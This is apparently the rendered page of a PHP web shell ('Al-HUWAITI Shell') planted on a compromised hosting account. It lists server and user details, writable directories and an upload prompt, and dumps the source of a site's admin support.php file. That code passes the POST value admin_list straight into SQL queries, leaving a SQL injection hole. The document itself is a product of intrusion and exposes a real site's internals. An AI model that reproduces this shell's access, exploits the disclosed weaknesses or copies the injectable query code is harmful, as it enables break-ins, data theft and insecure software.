Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin_escort46/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin_escort46/support.php
<?php 
	include "db_connection.php";
	include "sessioncheck.php";
	if(isset($_POST['admin_list']) && !empty($_POST['admin_list'])){
		$admin_id = $_POST['admin_list'];
	}else{
		$admin_id = $_SESSION['adminid'];
	}
?>
<html lang="en">
<head>
	<?php include_once "head.php"; ?>
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="60">
	<?php include_once "navbar.php"; ?>
	<div id="pricing" class="container-fluid myprofile_div">    
	  	<div class="col-sm-12 col-md-12 col-xs-12 col-lg-12 nopadding">
			<div class="row">
				<div class="col-sm-6 mb-20">
					<form id='admin_select' method="post">
						<select name="admin_list"class="form-control" id="admin_list">
					<?php
						$support_users_array=mysqli_query($connection,"SELECT id, uname FROM adminpanel");
						while($supprt_user_row = mysqli_fetch_assoc($support_users_array)){
							$unread_msgs = '';
							$admin_unread_messages=mysqli_query($connection,"SELECT COUNT(*) AS admin_unread FROM support AS supp INNER JOIN support_tickets AS tick ON supp.ticket_id = tick.id WHERE tick.admin_id=".$supprt_user_row['id']." AND supp.is_read=0 AND supp.user_type='User'");
							$unread_row = mysqli_fetch_assoc($admin_unread_messages);
							if($unread_row['admin_unread'] != 0){
								$unread_msgs = ' ('.$unread_row['admin_unread'].')';
							}
					?>
							<option value="<?= $supprt_user_row['id'] ?>" <?= ($admin_id == $supprt_user_row['id']) ? 'selected' : ''  ?>> <?= $supprt_user_row['uname'].$unread_msgs ?> </option>
					<?php
						}
					?>
						</select>
					</form>
				</div>
	          	<div class="col-sm-12">
	          		<div class="chat_container">
						<div class="col-sm-3 chat_sidebar">
							<div class="row">            
					        	<div class="dropdown all_conversation">
					        		<button class="dropdown-toggle" type="button" id="dropdownMenu2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
					               		<i class="fa fa-weixin" aria-hidden="true"></i>All Conversations
					               	</button>
					            </div>
								<div class="member_list">
					               		<ul class="list-unstyled">	
									<?php
										$supprt_ticket_tbl="SELECT st.*,usr.usrname FROM support_tickets AS st INNER JOIN user As usr ON st.user_id = usr.id WHERE st.admin_id=".$admin_id." ORDER BY st.date_time DESC";
										$supprt_ticket_result = mysqli_query($connection,$supprt_ticket_tbl);
										while($tickets = mysqli_fetch_assoc($supprt_ticket_result)){
									?>
					                  		<li class="left clearfix supportchat" data-active-id="<?= $tickets['is_active'] ?>" data-ticket-id="<?= $tickets['id'] ?>">
					                     		<span class="chat-img pull-left">
													<img src="<?php echo MAIN_URL; ?>/images/default-person.png" alt="User" class="img-circle">
					                     		</span>
					                     		<div class="chat-body clearfix">
					                        		<div class="header_sec">
					                           			<strong class="primary-font">
					                           				<?php echo $tickets['usrname']; ?>
					                           			</strong>
					                        		</div>
					                        		<div class="contact_sec">
					                        			<span class="badge pull-right">
					                           				<?php echo date("d-m-Y H:i",strtotime($tickets['date_time'])); ?>
					                           			</span>
					                   			<?php
					                   				$supprt_tbl="SELECT count(*) as unreadmsg FROM support WHERE user_id=".$tickets['user_id']." AND user_type='User' AND is_read=0 AND ticket_id=".$tickets['id'];
													$supprt_result = mysqli_query($connection,$supprt_tbl);
													$unread = mysqli_fetch_assoc($supprt_result);
					                   				if($unread['unreadmsg']!=0){
					                   			?>
					                           			<span id="unread_badge_<?= $tickets['id'] ?>" class="badge pull-left">
															<?php echo $unread['unreadmsg']; ?>
					                           			</span>
					                           	<?php
					                     			} 
					                           	?>
					                        		</div>
					                     		</div>
					                  		</li>
					                <?php
					                  	}
									?>
					               		</ul>
								</div>
							</div>
						</div>
							 
						<div class="col-sm-9 message_section">
							 <div class="row" id="chatdetail">											 
						 		<div class="chat_area" id="support_chat_history">
						 		
						 		</div>
						 		<div class="message_write">
									<textarea class="supportTextarea form-control" placeholder="Type a message" id="supportTextarea" disabled></textarea>
									<div class="clearfix"></div>
									<div class="chat_bottom">
										<input type="hidden" name="support_ticket" value="0" id="support_ticket"/>
										<input type="hidden" name="admin_id" value="<?= $admin_id ?>" id="admin_id"/>
										<a href="#" class="pull-left">
											<button type="button" name="closeSupport" id="closeSupport" class="btn btn-custom" disabled>
												Close Ticket
											</button>
										</a>
										<a href="#" class="pull-right">
											<button type="button" name="sendsupportmsg" id="sendsupportmsg" class="btn btn-custom" disabled>
												Reply
											</button>
										</a>
									</div>
								</div>
						 	</div>
					     </div>
					</div>
				</div>
			</div>
		</div>
	</div>
	
<!-- Support Start -->
<script type="text/javascript">
	var ticket_id = '';
	var active_id = '';
	var message_count = '';
	
	$(document.body).on('click', '.supportchat', function(){
		ticket_id = $(this).attr("data-ticket-id");
		active_id = $(this).attr("data-active-id");
		$('#support_ticket').val(ticket_id);
	    $.ajax({
	    	url: './service/support_chat',
	    	dataType: "json",
	    	data:'id='+ticket_id,
	        type: 'POST',
	        success: function(data) {
	        	$("#unread_badge_"+ticket_id).html('');
		        $('#support_chat_history').html(data.data);
	           	if(active_id == 1){
					document.getElementById("supportTextarea").disabled = false;
	           		document.getElementById("closeSupport").disabled = false;
	           		document.getElementById("sendsupportmsg").disabled = false;
				}else{
					document.getElementById("supportTextarea").disabled = true;
	           		document.getElementById("closeSupport").disabled = true;
	           		document.getElementById("sendsupportmsg").disabled = true;
				}
				message_count = data.message_count;
				$("#support_chat_history").scrollTop(0);
	           	var msgscrl = document.getElementById('support_chat_history');
				msgscrl.scrollTop = msgscrl.scrollHeight;
	        }
	    });
	});
	
	$(document.body).on('click', '#sendsupportmsg', function(e){
		var text_msg = $("#supportTextarea").val();
		var support_ticket = $("#support_ticket").val();
		var admin_id = $("#admin_id").val();
		e.preventDefault();
	    $.ajax({
	    	url: './service/send_support_message',
	    	data:'admin_id='+admin_id+'&support_ticket='+support_ticket+'&textmsg='+text_msg,
	        type: 'POST',
	        success: function(data) {
	           	$('#support_chat_history').html(data);
	           	if ($.trim($("#supportTextarea").val()) != "") {
			        $("#supportTextarea").val('');
			        var msgscrl = document.getElementById('support_chat_history');
					msgscrl.scrollTop = msgscrl.scrollHeight;
					$( "#supportTextarea" ).focus();
			    }
	        }
	    });
	});
	
	$(document.body).on('click', '#closeSupport', function(e){
		var support_ticket = $("#support_ticket").val();
		var admin_id = $("#admin_id").val();
		e.preventDefault();
	    $.ajax({
	    	url: './service/support_close',
	    	data:'admin_id='+admin_id+'&support_ticket='+support_ticket,
	        type: 'POST',
	        success: function(data) {
	        	if(data == 1){
					document.getElementById("sendsupportmsg").disabled = true;
		           	document.getElementById("supportTextarea").disabled = true;
		           	document.getElementById("closeSupport").disabled = true;
		           	location.reload();
				}
	        }    
	    }); 
	});
	
	$(document.body).on('keyup', '.supportTextarea', function(){
	    if (!$.trim($(".supportTextarea").val())) {
	        document.getElementById("sendsupportmsg").disabled = true;
	    }else{
			document.getElementById("sendsupportmsg").disabled = false;
		}
	});
	
	$("#admin_list").on('change',function(){
		$("#admin_select").submit();
	});
	
	setInterval(function(){
		var pageURL = $(location).attr("href");
        var pageName = pageURL.substring(pageURL.lastIndexOf("/") + 1);
		if(pageName == 'support' && ticket_id != '' && active_id == 1){
			$('#support_ticket').val(ticket_id);
		    $.ajax({
		    	url: './service/support_chat',
		    	dataType: "json",
		    	data:'id='+ticket_id,
		        type: 'POST',
		        success: function(data) {
		            $('#support_chat_history').html(data.data);
		           	if(active_id == 1){
						document.getElementById("supportTextarea").disabled = false;
		           		document.getElementById("closeSupport").disabled = false;
		           		document.getElementById("sendsupportmsg").disabled = false;
					}else{
						document.getElementById("supportTextarea").disabled = true;
		           		document.getElementById("closeSupport").disabled = true;
		           		document.getElementById("sendsupportmsg").disabled = true;
					}
					if(message_count != data.message_count){
						$("#support_chat_history").scrollTop(0);
			           	var msgscrl = document.getElementById('support_chat_history');
						msgscrl.scrollTop = msgscrl.scrollHeight;
						message_count = data.message_count;
					}
		        }
		    });
		}
	}, 1000);
</script>
<!-- Support End -->
</body>
</html>

Al-HUWAITI Shell